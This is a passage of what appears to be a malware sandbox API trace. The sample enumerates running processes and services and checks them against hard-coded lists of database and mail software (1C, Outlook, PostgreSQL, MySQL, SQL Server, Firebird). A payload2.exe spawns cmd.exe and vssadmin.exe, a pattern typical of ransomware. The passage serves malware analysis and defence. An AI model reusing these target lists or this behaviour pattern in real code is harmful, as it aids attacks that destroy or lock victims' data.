returned -1 [0055.007] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0055.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0055.007] lstrlenW (lpString="WPDBusEnum") returned 10 [0055.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0055.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0055.007] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0055.007] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0055.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0055.007] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3fbcbf0 | out: hHeap=0x220000) returned 1 [0055.007] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f8 [0055.010] Process32FirstW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0055.010] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0055.011] lstrlenW (lpString="System") returned 6 [0055.011] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0055.011] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0055.011] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0055.011] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0055.011] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0055.011] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0055.011] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0055.011] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0055.012] lstrlenW (lpString="smss.exe") returned 8 [0055.012] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0055.012] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0055.012] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0055.012] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0055.012] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0055.012] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0055.012] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0055.012] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.013] lstrlenW (lpString="csrss.exe") returned 9 [0055.013] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0055.013] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0055.013] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0055.013] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0055.013] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0055.013] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0055.013] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0055.013] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0055.013] lstrlenW (lpString="wininit.exe") returned 11 [0055.013] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0055.013] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0055.013] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0055.014] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.014] lstrlenW (lpString="csrss.exe") returned 9 [0055.014] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0055.015] lstrlenW (lpString="winlogon.exe") returned 12 [0055.015] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0055.016] lstrlenW (lpString="services.exe") returned 12 [0055.016] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0055.017] lstrlenW (lpString="lsass.exe") returned 9 [0055.017] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0055.017] lstrlenW (lpString="lsm.exe") returned 7 [0055.017] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.018] lstrlenW (lpString="svchost.exe") returned 11 [0055.018] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.019] lstrlenW (lpString="svchost.exe") returned 11 [0055.019] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.019] lstrlenW (lpString="svchost.exe") returned 11 [0055.019] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.020] lstrlenW (lpString="svchost.exe") returned 11 [0055.020] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.021] lstrlenW (lpString="svchost.exe") returned 11 [0055.021] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0055.021] lstrlenW (lpString="audiodg.exe") returned 11 [0055.021] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.022] lstrlenW (lpString="svchost.exe") returned 11 [0055.022] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.023] lstrlenW (lpString="svchost.exe") returned 11 [0055.023] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0055.024] lstrlenW (lpString="dwm.exe") returned 7 [0055.024] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0055.024] lstrlenW (lpString="explorer.exe") returned 12 [0055.024] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0055.025] lstrlenW (lpString="spoolsv.exe") returned 11 [0055.025] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.026] lstrlenW (lpString="taskhost.exe") returned 12 [0055.026] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.026] lstrlenW (lpString="svchost.exe") returned 11 [0055.026] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0055.027] lstrlenW (lpString="taskeng.exe") returned 11 [0055.027] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.028] lstrlenW (lpString="taskhost.exe") returned 12 [0055.028] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0055.029] lstrlenW (lpString="presidential.exe") returned 16 [0055.029] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0055.029] lstrlenW (lpString="ol-filing.exe") returned 13 [0055.029] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0055.030] lstrlenW (lpString="overcome.exe") returned 12 [0055.030] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0055.031] lstrlenW (lpString="declinedreferral.exe") returned 20 [0055.031] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0055.031] lstrlenW (lpString="franciscotrack.exe") returned 18 [0055.271] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0055.271] lstrlenW (lpString="nicholas.exe") returned 12 [0055.271] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0055.272] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0055.272] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0055.273] lstrlenW (lpString="word.exe") returned 8 [0055.273] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0055.273] lstrlenW (lpString="semestermeta.exe") returned 16 [0055.273] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0055.274] lstrlenW (lpString="reflects.exe") returned 12 [0055.274] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0055.275] lstrlenW (lpString="beveragesradios.exe") returned 19 [0055.275] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 [0055.275] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0055.275] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0055.278] lstrlenW (lpString="ground.exe") returned 10 [0055.278] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0055.278] lstrlenW (lpString="least.exe") returned 9 [0055.278] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0055.279] lstrlenW (lpString="meetings.exe") returned 12 [0055.279] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0055.280] lstrlenW (lpString="wooltestimony.exe") returned 17 [0055.280] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0055.280] lstrlenW (lpString="inexpensive.exe") returned 15 [0055.281] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0055.281] lstrlenW (lpString="er-amd.exe") returned 10 [0055.281] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0055.282] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0055.282] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0055.283] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0055.283] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0055.283] lstrlenW (lpString="payload2.exe") returned 12 [0055.284] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0055.284] lstrlenW (lpString="cmd.exe") returned 7 [0055.284] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0055.285] lstrlenW (lpString="conhost.exe") returned 11 [0055.285] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0055.286] lstrlenW (lpString="vssadmin.exe") returned 12 [0055.286] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0055.286] lstrlenW (lpString="VSSVC.exe") returned 9 [0055.286] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.287] lstrlenW (lpString="svchost.exe") returned 11 [0055.287] Process32NextW (in: hSnapshot=0x1f8, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0055.288] CloseHandle (hObject=0x1f8) returned 1 [0055.288] Sleep (dwMilliseconds=0x1f4) [0056.215] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f8c418 [0056.216] EnumServicesStatusExW (in: hSCManager=0x3f8c418, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 0 [0056.216] GetLastError () returned 0xea [0056.216] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x12c6) returned 0x47f0050 [0056.216] EnumServicesStatusExW (in: hSCManager=0x3f8c418, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x47f0050, cbBufSize=0x12c6, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x47f0050, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 1 [0056.217] CloseServiceHandle (hSCObject=0x3f8c418) returned 1 [0056.217] lstrlenW (lpString="Appinfo") returned 7 [0056.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0056.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0056.217] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0056.217] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0056.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0056.217] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0056.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0056.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0056.217] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0056.217] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0056.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0056.217] lstrlenW (lpString="AudioSrv") returned 8 [0056.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0056.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0056.217] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0056.217] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0056.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0056.218] lstrlenW (lpString="BFE") returned 3 [0056.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0056.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0056.218] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0056.218] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0056.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0056.218] lstrlenW (lpString="CryptSvc") returned 8 [0056.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0056.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0056.218] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0056.218] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0056.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0056.218] lstrlenW (lpString="CscService") returned 10 [0056.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0056.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0056.218] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0056.218] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0056.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0056.218] lstrlenW (lpString="DcomLaunch") returned 10 [0056.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0056.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0056.218] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0056.218] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0056.218] lstrcmpiW (lpString1="sqlserveradhelper", 